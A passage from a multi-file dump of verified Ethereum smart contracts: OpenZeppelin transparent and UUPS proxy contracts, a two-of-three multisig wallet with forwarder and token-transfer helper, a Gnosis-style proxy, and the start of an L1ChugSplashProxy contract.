 * explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.
 */
contract ProxyAdmin is Ownable {

    /**
     * @dev Returns the current implementation of `proxy`.
     *
     * Requirements:
     *
     * - This contract must be the admin of `proxy`.
     */
    function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
        // We need to manually run the static call since the getter cannot be flagged as view
        // bytes4(keccak256("implementation()")) == 0x5c60da1b
        (bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
        require(success);
        return abi.decode(returndata, (address));
    }

    /**
     * @dev Returns the current admin of `proxy`.
     *
     * Requirements:
     *
     * - This contract must be the admin of `proxy`.
     */
    function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
        // We need to manually run the static call since the getter cannot be flagged as view
        // bytes4(keccak256("admin()")) == 0xf851a440
        (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
        require(success);
        return abi.decode(returndata, (address));
    }

    /**
     * @dev Changes the admin of `proxy` to `newAdmin`.
     *
     * Requirements:
     *
     * - This contract must be the current admin of `proxy`.
     */
    function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
        proxy.changeAdmin(newAdmin);
    }

    /**
     * @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.
     *
     * Requirements:
     *
     * - This contract must be the admin of `proxy`.
     */
    function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
        proxy.upgradeTo(implementation);
    }

    /**
     * @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See
     * {TransparentUpgradeableProxy-upgradeToAndCall}.
     *
     * Requirements:
     *
     * - This contract must be the admin of `proxy`.
     */
    function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner {
        proxy.upgradeToAndCall{value: msg.value}(implementation, data);
    }
}


/**
 * @dev Base contract for building openzeppelin-upgrades compatible implementations for the {ERC1967Proxy}. It includes
 * publicly available upgrade functions that are called by the plugin and by the secure upgrade mechanism to verify
 * continuation of the upgradability.
 *
 * The {_authorizeUpgrade} function MUST be overridden to include access restriction to the upgrade mechanism.
 *
 * _Available since v4.1._
 */
abstract contract UUPSUpgradeable is ERC1967Upgrade {
    function upgradeTo(address newImplementation) external virtual {
        _authorizeUpgrade(newImplementation);
        _upgradeToAndCallSecure(newImplementation, bytes(""), false);
    }

    function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
        _authorizeUpgrade(newImplementation);
        _upgradeToAndCallSecure(newImplementation, data, true);
    }

    function _authorizeUpgrade(address newImplementation) internal virtual;
}


abstract contract Proxiable is UUPSUpgradeable {
    function _authorizeUpgrade(address newImplementation) internal override {
        _beforeUpgrade(newImplementation);
    }

    function _beforeUpgrade(address newImplementation) internal virtual;
}

contract ChildOfProxiable is Proxiable {
    function _beforeUpgrade(address newImplementation) internal virtual override {}
}


/**
 * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
 * implementation address that can be changed. This address is stored in storage in the location specified by
 * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
 * implementation behind the proxy.
 */
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
    /**
     * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
     *
     * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
     * function call, and allows initializating the storage of the proxy like a Solidity constructor.
     */
    constructor(address _logic, bytes memory _data) payable {
        assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
        _upgradeToAndCall(_logic, _data, false);
    }

    /**
     * @dev Returns the current implementation address.
     */
    function _implementation() internal view virtual override returns (address impl) {
        return ERC1967Upgrade._getImplementation();
    }
}

/**
 * @dev This contract implements a proxy that is upgradeable by an admin.
 *
 * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
 * clashing], which can potentially be used in an attack, this contract uses the
 * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
 * things that go hand in hand:
 *
 * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
 * that call matches one of the admin functions exposed by the proxy itself.
 * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
 * implementation. If the admin tries to call a function on the implementation it will fail with an error that says
 * "admin cannot fallback to proxy target".
 *
 * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
 * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
 * to sudden errors when trying to call a function from the proxy implementation.
 *
 * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
 * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
 */
contract TransparentUpgradeableProxy is ERC1967Proxy {
    /**
     * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
     * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
     */
    constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
        assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
        _changeAdmin(admin_);
    }

    /**
     * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
     */
    modifier ifAdmin() {
        if (msg.sender == _getAdmin()) {
            _;
        } else {
            _fallback();
        }
    }

    /**
     * @dev Returns the current admin.
     *
     * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
     *
     * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
     * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
     * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
     */
    function admin() external ifAdmin returns (address admin_) {
        admin_ = _getAdmin();
    }

    /**
     * @dev Returns the current implementation.
     *
     * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
     *
     * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
     * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
     * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
     */
    function implementation() external ifAdmin returns (address implementation_) {
        implementation_ = _implementation();
    }

    /**
     * @dev Changes the admin of the proxy.
     *
     * Emits an {AdminChanged} event.
     *
     * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
     */
    function changeAdmin(address newAdmin) external virtual ifAdmin {
        _changeAdmin(newAdmin);
    }

    /**
     * @dev Upgrade the implementation of the proxy.
     *
     * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
     */
    function upgradeTo(address newImplementation) external ifAdmin {
        _upgradeToAndCall(newImplementation, bytes(""), false);
    }

    /**
     * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
     * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
     * proxied contract.
     *
     * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
     */
    function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
        _upgradeToAndCall(newImplementation, data, true);
    }

    /**
     * @dev Returns the current admin.
     */
    function _admin() internal view virtual returns (address) {
        return _getAdmin();
    }

    /**
     * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
     */
    function _beforeFallback() internal virtual override {
        require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
        super._beforeFallback();
    }
}


// Kept for backwards compatibility with older versions of Hardhat and Truffle plugins.
contract AdminUpgradeabilityProxy is TransparentUpgradeableProxy {
    constructor(address logic, address admin, bytes memory data) payable TransparentUpgradeableProxy(logic, admin, data) {}
}

File 4 of 7: WalletSimple
{"ERC20Interface.sol":{"content":"// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.7.5;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n  // Send _value amount of tokens to address _to\n  function transfer(address _to, uint256 _value)\n    public\n    virtual\n    returns (bool success);\n\n  // Get the account balance of another account with address _owner\n  function balanceOf(address _owner)\n    public\n    virtual\n    view\n    returns (uint256 balance);\n}\n"},"Forwarder.sol":{"content":"// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.7.5;\nimport \u0027./TransferHelper.sol\u0027;\nimport \u0027./ERC20Interface.sol\u0027;\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder {\n  // Address to which any funds sent to this contract will be forwarded\n  address public parentAddress;\n  event ForwarderDeposited(address from, uint256 value, bytes data);\n\n  /**\n   * Initialize the contract, and sets the destination address to that of the creator\n   */\n  function init(address _parentAddress) external onlyUninitialized {\n    parentAddress = _parentAddress;\n    uint256 value = address(this).balance;\n\n    if (value == 0) {\n      return;\n    }\n\n    (bool success, ) = parentAddress.call{ value: value }(\u0027\u0027);\n    require(success, \u0027Flush failed\u0027);\n    // NOTE: since we are forwarding on initialization,\n    // we don\u0027t have the context of the original sender.\n    // We still emit an event about the forwarding but set\n    // the sender to the forwarder itself\n    emit ForwarderDeposited(address(this), value, msg.data);\n  }\n\n  /**\n   * Modifier that will execute internal code block only if the sender is the parent address\n   */\n  modifier onlyParent {\n    require(msg.sender == parentAddress, \u0027Only Parent\u0027);\n    _;\n  }\n\n  /**\n   * Modifier that will execute internal code block only if the contract has not been initialized yet\n   */\n  modifier onlyUninitialized {\n    require(parentAddress == address(0x0), \u0027Already initialized\u0027);\n    _;\n  }\n\n  /**\n   * Default function; Gets called when data is sent but does not match any other function\n   */\n  fallback() external payable {\n    flush();\n  }\n\n  /**\n   * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n   */\n  receive() external payable {\n    flush();\n  }\n\n  /**\n   * Execute a token transfer of the full balance from the forwarder token to the parent address\n   * @param tokenContractAddress the address of the erc20 token contract\n   */\n  function flushTokens(address tokenContractAddress) external onlyParent {\n    ERC20Interface instance = ERC20Interface(tokenContractAddress);\n    address forwarderAddress = address(this);\n    uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n    if (forwarderBalance == 0) {\n      return;\n    }\n\n    TransferHelper.safeTransfer(\n      tokenContractAddress,\n      parentAddress,\n      forwarderBalance\n    );\n  }\n\n  /**\n   * Flush the entire balance of the contract to the parent address.\n   */\n  function flush() public {\n    uint256 value = address(this).balance;\n\n    if (value == 0) {\n      return;\n    }\n\n    (bool success, ) = parentAddress.call{ value: value }(\u0027\u0027);\n    require(success, \u0027Flush failed\u0027);\n    emit ForwarderDeposited(msg.sender, value, msg.data);\n  }\n}\n"},"TransferHelper.sol":{"content":"// SPDX-License-Identifier: Apache-2.0\n\npragma solidity \u003e=0.7.5;\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n    function safeApprove(\n        address token,\n        address to,\n        uint256 value\n    ) internal {\n        // bytes4(keccak256(bytes(\u0027approve(address,uint256)\u0027)));\n        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));\n        require(\n            success \u0026\u0026 (data.length == 0 || abi.decode(data, (bool))),\n            \u0027TransferHelper::safeApprove: approve failed\u0027\n        );\n    }\n\n    function safeTransfer(\n        address token,\n        address to,\n        uint256 value\n    ) internal {\n        // bytes4(keccak256(bytes(\u0027transfer(address,uint256)\u0027)));\n        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));\n        require(\n            success \u0026\u0026 (data.length == 0 || abi.decode(data, (bool))),\n            \u0027TransferHelper::safeTransfer: transfer failed\u0027\n        );\n    }\n\n    function safeTransferFrom(\n        address token,\n        address from,\n        address to,\n        uint256 value\n    ) internal {\n        // bytes4(keccak256(bytes(\u0027transferFrom(address,address,uint256)\u0027)));\n        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));\n        require(\n            success \u0026\u0026 (data.length == 0 || abi.decode(data, (bool))),\n            \u0027TransferHelper::transferFrom: transferFrom failed\u0027\n        );\n    }\n\n    function safeTransferETH(address to, uint256 value) internal {\n        (bool success, ) = to.call{value: value}(new bytes(0));\n        require(success, \u0027TransferHelper::safeTransferETH: ETH transfer failed\u0027);\n    }\n}\n"},"WalletSimple.sol":{"content":"// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.7.5;\nimport \u0027./TransferHelper.sol\u0027;\nimport \u0027./Forwarder.sol\u0027;\nimport \u0027./ERC20Interface.sol\u0027;\n\n/**\n *\n * WalletSimple\n * ============\n *\n * Basic multi-signer wallet designed for use in a co-signing environment where 2 signatures are required to move funds.\n * Typically used in a 2-of-3 signing configuration. Uses ecrecover to allow for 2 signatures in a single transaction.\n *\n * The first signature is created on the operation hash (see Data Formats) and passed to sendMultiSig/sendMultiSigToken\n * The signer is determined by verifyMultiSig().\n *\n * The second signature is created by the submitter of the transaction and determined by msg.signer.\n *\n * Data Formats\n * ============\n *\n * The signature is created with ethereumjs-util.ecsign(operationHash).\n * Like the eth_sign RPC call, it packs the values as a 65-byte array of [r, s, v].\n * Unlike eth_sign, the message is not prefixed.\n *\n * The operationHash the result of keccak256(prefix, toAddress, value, data, expireTime).\n * For ether transactions, `prefix` is \"ETHER\".\n * For token transaction, `prefix` is \"ERC20\" and `data` is the tokenContractAddress.\n *\n *\n */\ncontract WalletSimple {\n  // Events\n  event Deposited(address from, uint256 value, bytes data);\n  event SafeModeActivated(address msgSender);\n  event Transacted(\n    address msgSender, // Address of the sender of the message initiating the transaction\n    address otherSigner, // Address of the signer (second signature) used to initiate the transaction\n    bytes32 operation, // Operation hash (see Data Formats)\n    address toAddress, // The address the transaction was sent to\n    uint256 value, // Amount of Wei sent to the address\n    bytes data // Data sent when invoking the transaction\n  );\n\n  event BatchTransfer(address sender, address recipient, uint256 value);\n  // this event shows the other signer and the operation hash that they signed\n  // specific batch transfer events are emitted in Batcher\n  event BatchTransacted(\n    address msgSender, // Address of the sender of the message initiating the transaction\n    address otherSigner, // Address of the signer (second signature) used to initiate the transaction\n    bytes32 operation // Operation hash (see Data Formats)\n  );\n\n  // Public fields\n  mapping(address =\u003e bool) public signers; // The addresses that can co-sign transactions on the wallet\n  bool public safeMode = false; // When active, wallet may only send to signer addresses\n  bool public initialized = false; // True if the contract has been initialized\n\n  // Internal fields\n  uint256 private constant MAX_SEQUENCE_ID_INCREASE = 10000;\n  uint256 constant SEQUENCE_ID_WINDOW_SIZE = 10;\n  uint256[SEQUENCE_ID_WINDOW_SIZE] recentSequenceIds;\n\n  /**\n   * Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.\n   * 2 signers will be required to send a transaction from this wallet.\n   * Note: The sender is NOT automatically added to the list of signers.\n   * Signers CANNOT be changed once they are set\n   *\n   * @param allowedSigners An array of signers on the wallet\n   */\n  function init(address[] calldata allowedSigners) external onlyUninitialized {\n    require(allowedSigners.length == 3, \u0027Invalid number of signers\u0027);\n\n    for (uint8 i = 0; i \u003c allowedSigners.length; i++) {\n      require(allowedSigners[i] != address(0), \u0027Invalid signer\u0027);\n      signers[allowedSigners[i]] = true;\n    }\n    initialized = true;\n  }\n\n  /**\n   * Get the network identifier that signers must sign over\n   * This provides protection signatures being replayed on other chains\n   * This must be a virtual function because chain-specific contracts will need\n   *    to override with their own network ids. It also can\u0027t be a field\n   *    to allow this contract to be used by proxy with delegatecall, which will\n   *    not pick up on state variables\n   */\n  function getNetworkId() internal virtual pure returns (string memory) {\n    return \u0027ETHER\u0027;\n  }\n\n  /**\n   * Get the network identifier that signers must sign over for token transfers\n   * This provides protection signatures being replayed on other chains\n   * This must be a virtual function because chain-specific contracts will need\n   *    to override with their own network ids. It also can\u0027t be a field\n   *    to allow this contract to be used by proxy with delegatecall, which will\n   *    not pick up on state variables\n   */\n  function getTokenNetworkId() internal virtual pure returns (string memory) {\n    return \u0027ERC20\u0027;\n  }\n\n  /**\n   * Get the network identifier that signers must sign over for batch transfers\n   * This provides protection signatures being replayed on other chains\n   * This must be a virtual function because chain-specific contracts will need\n   *    to override with their own network ids. It also can\u0027t be a field\n   *    to allow this contract to be used by proxy with delegatecall, which will\n   *    not pick up on state variables\n   */\n  function getBatchNetworkId() internal virtual pure returns (string memory) {\n    return \u0027ETHER-Batch\u0027;\n  }\n\n  /**\n   * Determine if an address is a signer on this wallet\n   * @param signer address to check\n   * returns boolean indicating whether address is signer or not\n   */\n  function isSigner(address signer) public view returns (bool) {\n    return signers[signer];\n  }\n\n  /**\n   * Modifier that will execute internal code block only if the sender is an authorized signer on this wallet\n   */\n  modifier onlySigner {\n    require(isSigner(msg.sender), \u0027Non-signer in onlySigner method\u0027);\n    _;\n  }\n\n  /**\n   * Modifier that will execute internal code block only if the contract has not been initialized yet\n   */\n  modifier onlyUninitialized {\n    require(!initialized, \u0027Contract already initialized\u0027);\n    _;\n  }\n\n  /**\n   * Gets called when a transaction is received with data that does not match any other method\n   */\n  fallback() external payable {\n    if (msg.value \u003e 0) {\n      // Fire deposited event if we are receiving funds\n      Deposited(msg.sender, msg.value, msg.data);\n    }\n  }\n\n  /**\n   * Gets called when a transaction is received with ether and no data\n   */\n  receive() external payable {\n    if (msg.value \u003e 0) {\n      // Fire deposited event if we are receiving funds\n      Deposited(msg.sender, msg.value, msg.data);\n    }\n  }\n\n  /**\n   * Execute a multi-signature transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n   * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n   *\n   * @param toAddress the destination address to send an outgoing transaction\n   * @param value the amount in Wei to be sent\n   * @param data the data to send to the toAddress when invoking the transaction\n   * @param expireTime the number of seconds since 1970 for which this transaction is valid\n   * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n   * @param signature see Data Formats\n   */\n  function sendMultiSig(\n    address toAddress,\n    uint256 value,\n    bytes calldata data,\n    uint256 expireTime,\n    uint256 sequenceId,\n    bytes calldata signature\n  ) external onlySigner {\n    // Verify the other signer\n    bytes32 operationHash = keccak256(\n      abi.encodePacked(\n        getNetworkId(),\n        toAddress,\n        value,\n        data,\n        expireTime,\n        sequenceId\n      )\n    );\n\n    address otherSigner = verifyMultiSig(\n      toAddress,\n      operationHash,\n      signature,\n      expireTime,\n      sequenceId\n    );\n\n    // Success, send the transaction\n    (bool success, ) = toAddress.call{ value: value }(data);\n    require(success, \u0027Call execution failed\u0027);\n\n    emit Transacted(\n      msg.sender,\n      otherSigner,\n      operationHash,\n      toAddress,\n      value,\n      data\n    );\n  }\n\n  /**\n   * Execute a batched multi-signature transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n   * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n   * The recipients and values to send are encoded in two arrays, where for index i, recipients[i] will be sent values[i].\n   *\n   * @param recipients The list of recipients to send to\n   * @param values The list of values to send to\n   * @param expireTime the number of seconds since 1970 for which this transaction is valid\n   * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n   * @param signature see Data Formats\n   */\n  function sendMultiSigBatch(\n    address[] calldata recipients,\n    uint256[] calldata values,\n    uint256 expireTime,\n    uint256 sequenceId,\n    bytes calldata signature\n  ) external onlySigner {\n    require(recipients.length != 0, \u0027Not enough recipients\u0027);\n    require(\n      recipients.length == values.length,\n      \u0027Unequal recipients and values\u0027\n    );\n    require(recipients.length \u003c 256, \u0027Too many recipients, max 255\u0027);\n\n    // Verify the other signer\n    bytes32 operationHash = keccak256(\n      abi.encodePacked(\n        getBatchNetworkId(),\n        recipients,\n        values,\n        expireTime,\n        sequenceId\n      )\n    );\n\n    // the first parameter (toAddress) is used to ensure transactions in safe mode only go to a signer\n    // if in safe mode, we should use normal sendMultiSig to recover, so this check will always fail if in safe mode\n    require(!safeMode, \u0027Batch in safe mode\u0027);\n    address otherSigner = verifyMultiSig(\n      address(0x0),\n      operationHash,\n      signature,\n      expireTime,\n      sequenceId\n    );\n\n    batchTransfer(recipients, values);\n    emit BatchTransacted(msg.sender, otherSigner, operationHash);\n  }\n\n  /**\n   * Transfer funds in a batch to each of recipients\n   * @param recipients The list of recipients to send to\n   * @param values The list of values to send to recipients.\n   *  The recipient with index i in recipients array will be sent values[i].\n   *  Thus, recipients and values must be the same length\n   */\n  function batchTransfer(\n    address[] calldata recipients,\n    uint256[] calldata values\n  ) internal {\n    for (uint256 i = 0; i \u003c recipients.length; i++) {\n      require(address(this).balance \u003e= values[i], \u0027Insufficient funds\u0027);\n\n      (bool success, ) = recipients[i].call{ value: values[i] }(\u0027\u0027);\n      require(success, \u0027Call failed\u0027);\n\n      emit BatchTransfer(msg.sender, recipients[i], values[i]);\n    }\n  }\n\n  /**\n   * Execute a multi-signature token transfer from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n   * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n   *\n   * @param toAddress the destination address to send an outgoing transaction\n   * @param value the amount in tokens to be sent\n   * @param tokenContractAddress the address of the erc20 token contract\n   * @param expireTime the number of seconds since 1970 for which this transaction is valid\n   * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n   * @param signature see Data Formats\n   */\n  function sendMultiSigToken(\n    address toAddress,\n    uint256 value,\n    address tokenContractAddress,\n    uint256 expireTime,\n    uint256 sequenceId,\n    bytes calldata signature\n  ) external onlySigner {\n    // Verify the other signer\n    bytes32 operationHash = keccak256(\n      abi.encodePacked(\n        getTokenNetworkId(),\n        toAddress,\n        value,\n        tokenContractAddress,\n        expireTime,\n        sequenceId\n      )\n    );\n\n    verifyMultiSig(toAddress, operationHash, signature, expireTime, sequenceId);\n\n    TransferHelper.safeTransfer(tokenContractAddress, toAddress, value);\n  }\n\n  /**\n   * Execute a token flush from one of the forwarder addresses. This transfer needs only a single signature and can be done by any signer\n   *\n   * @param forwarderAddress the address of the forwarder address to flush the tokens from\n   * @param tokenContractAddress the address of the erc20 token contract\n   */\n  function flushForwarderTokens(\n    address payable forwarderAddress,\n    address tokenContractAddress\n  ) external onlySigner {\n    Forwarder forwarder = Forwarder(forwarderAddress);\n    forwarder.flushTokens(tokenContractAddress);\n  }\n\n  /**\n   * Do common multisig verification for both eth sends and erc20token transfers\n   *\n   * @param toAddress the destination address to send an outgoing transaction\n   * @param operationHash see Data Formats\n   * @param signature see Data Formats\n   * @param expireTime the number of seconds since 1970 for which this transaction is valid\n   * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n   * returns address that has created the signature\n   */\n  function verifyMultiSig(\n    address toAddress,\n    bytes32 operationHash,\n    bytes calldata signature,\n    uint256 expireTime,\n    uint256 sequenceId\n  ) private returns (address) {\n    address otherSigner = recoverAddressFromSignature(operationHash, signature);\n\n    // Verify if we are in safe mode. In safe mode, the wallet can only send to signers\n    require(!safeMode || isSigner(toAddress), \u0027External transfer in safe mode\u0027);\n\n    // Verify that the transaction has not expired\n    require(expireTime \u003e= block.timestamp, \u0027Transaction expired\u0027);\n\n    // Try to insert the sequence ID. Will revert if the sequence id was invalid\n    tryInsertSequenceId(sequenceId);\n\n    require(isSigner(otherSigner), \u0027Invalid signer\u0027);\n\n    require(otherSigner != msg.sender, \u0027Signers cannot be equal\u0027);\n\n    return otherSigner;\n  }\n\n  /**\n   * Irrevocably puts contract into safe mode. When in this mode, transactions may only be sent to signing addresses.\n   */\n  function activateSafeMode() external onlySigner {\n    safeMode = true;\n    SafeModeActivated(msg.sender);\n  }\n\n  /**\n   * Gets signer\u0027s address using ecrecover\n   * @param operationHash see Data Formats\n   * @param signature see Data Formats\n   * returns address recovered from the signature\n   */\n  function recoverAddressFromSignature(\n    bytes32 operationHash,\n    bytes memory signature\n  ) private pure returns (address) {\n    require(signature.length == 65, \u0027Invalid signature - wrong length\u0027);\n\n    // We need to unpack the signature, which is given as an array of 65 bytes (like eth.sign)\n    bytes32 r;\n    bytes32 s;\n    uint8 v;\n\n    // solhint-disable-next-line\n    assembly {\n      r := mload(add(signature, 32))\n      s := mload(add(signature, 64))\n      v := and(mload(add(signature, 65)), 255)\n    }\n    if (v \u003c 27) {\n      v += 27; // Ethereum versions are 27 or 28 as opposed to 0 or 1 which is submitted by some signing libs\n    }\n\n    // protect against signature malleability\n    // S value must be in the lower half orader\n    // reference: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/051d340171a93a3d401aaaea46b4b62fa81e5d7c/contracts/cryptography/ECDSA.sol#L53\n    require(\n      uint256(s) \u003c=\n        0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,\n      \"ECDSA: invalid signature \u0027s\u0027 value\"\n    );\n\n    // note that this returns 0 if the signature is invalid\n    // Since 0x0 can never be a signer, when the recovered signer address\n    // is checked against our signer list, that 0x0 will cause an invalid signer failure\n    return ecrecover(operationHash, v, r, s);\n  }\n\n  /**\n   * Verify that the sequence id has not been used before and inserts it. Throws if the sequence ID was not accepted.\n   * We collect a window of up to 10 recent sequence ids, and allow any sequence id that is not in the window and\n   * greater than the minimum element in the window.\n   * @param sequenceId to insert into array of stored ids\n   */\n  function tryInsertSequenceId(uint256 sequenceId) private onlySigner {\n    // Keep a pointer to the lowest value element in the window\n    uint256 lowestValueIndex = 0;\n    // fetch recentSequenceIds into memory for function context to avoid unnecessary sloads\n    uint256[SEQUENCE_ID_WINDOW_SIZE] memory _recentSequenceIds = recentSequenceIds;\n    for (uint256 i = 0; i \u003c SEQUENCE_ID_WINDOW_SIZE; i++) {\n      require(_recentSequenceIds[i] != sequenceId, \u0027Sequence ID already used\u0027);\n\n      if (_recentSequenceIds[i] \u003c _recentSequenceIds[lowestValueIndex]) {\n        lowestValueIndex = i;\n      }\n    }\n\n    // The sequence ID being used is lower than the lowest value in the window\n    // so we cannot accept it as it may have been used before\n    require(\n      sequenceId \u003e _recentSequenceIds[lowestValueIndex],\n      \u0027Sequence ID below window\u0027\n    );\n\n    // Block sequence IDs which are much higher than the lowest value\n    // This prevents people blocking the contract by using very large sequence IDs quickly\n    require(\n      sequenceId \u003c=\n        (_recentSequenceIds[lowestValueIndex] + MAX_SEQUENCE_ID_INCREASE),\n      \u0027Sequence ID above maximum\u0027\n    );\n\n    recentSequenceIds[lowestValueIndex] = sequenceId;\n  }\n\n  /**\n   * Gets the next available sequence ID for signing when using executeAndConfirm\n   * returns the sequenceId one higher than the highest currently stored\n   */\n  function getNextSequenceId() public view returns (uint256) {\n    uint256 highestSequenceId = 0;\n    for (uint256 i = 0; i \u003c SEQUENCE_ID_WINDOW_SIZE; i++) {\n      if (recentSequenceIds[i] \u003e highestSequenceId) {\n        highestSequenceId = recentSequenceIds[i];\n      }\n    }\n    return highestSequenceId + 1;\n  }\n}\n"}}

File 5 of 7: Proxy
pragma solidity ^0.5.3;

/// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract Proxy {

    // masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
    // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
    address internal masterCopy;

    /// @dev Constructor function sets address of master copy contract.
    /// @param _masterCopy Master copy address.
    constructor(address _masterCopy)
        public
    {
        require(_masterCopy != address(0), "Invalid master copy address provided");
        masterCopy = _masterCopy;
    }

    /// @dev Fallback function forwards all transactions and returns all received return data.
    function ()
        external
        payable
    {
        // solium-disable-next-line security/no-inline-assembly
        assembly {
            let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
            // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
            if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
                mstore(0, masterCopy)
                return(0, 0x20)
            }
            calldatacopy(0, 0, calldatasize())
            let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if eq(success, 0) { revert(0, returndatasize()) }
            return(0, returndatasize())
        }
    }
}

File 6 of 7: L1ChugSplashProxy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { iL1ChugSplashDeployer } from "./interfaces/iL1ChugSplashDeployer.sol";
/**
 * @title L1ChugSplashProxy
 * @dev Basic ChugSplash proxy contract for L1. Very close to being a normal proxy but has added
 * functions `setCode` and `setStorage` for changing the code or storage of the contract. Nifty!
 *
 * Note for future developers: do NOT make anything in this contract 'public' unless you know what
 * you're doing. Anything public can potentially have a function signature that conflicts with a
 * signature attached to the implementation contract. Public functions SHOULD always have the
 * 'proxyCallIfNotOwner' modifier unless there's some *really* good reason not to have that
 * modifier. And there almost certainly is not a good reason to not have that modifier. Beware!
 */
contract L1ChugSplashProxy {
    /*************
     * Constants *
     *************/
    // "Magic" prefix. When prepended to some arbitrary bytecode and used to create a contract, the
    // appended bytecode will be deployed as given.
    bytes13 internal constant DEPLOY_CODE_PREFIX = 0x600D380380600D6000396000f3;
    // bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
    bytes32 internal constant IMPLEMENTATION_KEY =
        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    // bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)
    bytes32 internal constant OWNER_KEY =
        0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
    /***************
     * Constructor *
     ***************/
    /**
     * @param _owner Address of the initial contract owner.
     */
    constructor(address _owner) {
        _setOwner(_owner);
    }
    /**********************
     * Function Modifiers *
     **********************/
    /**
     * Blocks a function from being called when the parent signals that the system should be paused
     * via an isUpgrading function.
     */
